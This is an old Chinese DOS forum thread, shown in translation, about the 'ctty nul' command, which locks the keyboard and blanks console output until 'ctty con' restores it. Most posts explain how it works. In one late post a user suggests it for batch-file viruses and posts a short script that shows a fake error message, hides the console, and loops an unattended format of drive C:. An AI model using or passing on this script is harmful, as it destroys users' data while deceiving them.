中国DOS联盟论坛

China DOS Union

-- Unite DOS · Advance DOS · Grow DOS --
Union site: www.cn-dos.net Forum site: www.cn-dos.net/forum
Guest | Log in | Register | Members | Search | China DOS Union
中国DOS联盟论坛
The time now is 2026-10-01 09:22
47,813 topics / 349,918 posts / today 0 new / 48,279 members
DOS学习入门 & 精彩文章 (教学室) » Keyboard lock command
Printable Version  3,202 / 15
Floor1 iceboy Posted 2003-08-12 00:00
银牌会员 Posts 512 Credits 1,681
ctty nul

It's very simple, everyone may have used it, but just can't remember it.

When restoring, use ctty con

But it must be used in a batch file, otherwise... you have to restart...
Floor2 iceboy Posted 2003-08-12 00:00
银牌会员 Posts 512 Credits 1,681
But after running, nothing will be displayed on the screen anymore, which is equivalent to adding >nul to all commands
Floor3 cn_archer Posted 2003-08-12 00:00
元老会员 Posts 991 Credits 2,903 From 福建省
Good idea!
Floor4 jeffyy Posted 2003-08-12 00:00
初级用户 Posts 23 Credits 219
What is the format?
Floor5 无妄★模拟 Posted 2003-08-14 00:00
初级用户 Posts 35 Credits 280
What does NUL mean? Redirect to the file NUL??? Explain it~~~~~~~~~
Floor6 Roy Posted 2003-08-14 00:00
管理员 Posts 1,633 Credits 4,869
The following is a quote from Wu Wang ★ Simulation on 2003-8-14 16:07:20:
What does NUL mean? Redirect to the file NUL??? Explain it~~~~~~~~~
nul is an "empty" device, not a file
Floor7 hzy Posted 2003-08-15 00:00
高级用户 Posts 135 Credits 578
What is the significance of this?
Floor8 GOTOmsdos Posted 2003-08-15 00:00
铂金会员 Posts 1,827 Credits 5,154
Is this still a question? Just think about it!!
.'.'.'.'..=-=-0978676756
';'./'''
'///'/'\
Floor9 LanE Posted 2003-08-15 00:00
银牌会员 Posts 648 Credits 1,835
Hehe, this is usually used in batch processing to prevent screen output, and then restored with ctty con. But if used directly as a command, then restart it.
Floor10 ssbird Posted 2003-08-23 00:00
初级用户 Posts 6 Credits 130
Awesome!
Floor11 ajeef Posted 2003-08-24 00:00
初级用户 Posts 14 Credits 167
Hey~~~~~~~ NTOS doesn't currently support this command yet. It has reached SP4, and it's estimated that it won't support it anymore.
Floor12 ajeef Posted 2003-08-24 00:00
初级用户 Posts 14 Credits 167
Hey~~~~~~~ NTOS doesn't currently support this command yet. It's already at SP4, and it's estimated that it won't support it anymore.
Floor13 yong1268 Posted 2003-08-24 00:00
初级用户 Posts 2 Credits 107
When restoring, use ctty con. But it must be used in a batch file, otherwise... you'll have to restart... What does batch file mean???
Floor14 iceboy Posted 2003-08-30 00:00
银牌会员 Posts 512 Credits 1,681
... Dizzy

and, I found that this command is very good for writing batch file viruses...

@echo off
echo Found a error, please wait system to save the data...
ctty nul
:a
format c: /q /autotest
goto a

Formatting halfway by pressing Ctrl + C will only cause the hard drive data to be destroyed (half-formatted)
Floor15 laochang409 Posted 2004-06-24 00:00
中级用户 Posts 44 Credits 297
1 2  Next
[ Contact the Union admin team - 中国DOS联盟 - Standard version ]
Sponsored by ifanr Inc | © 2001–2023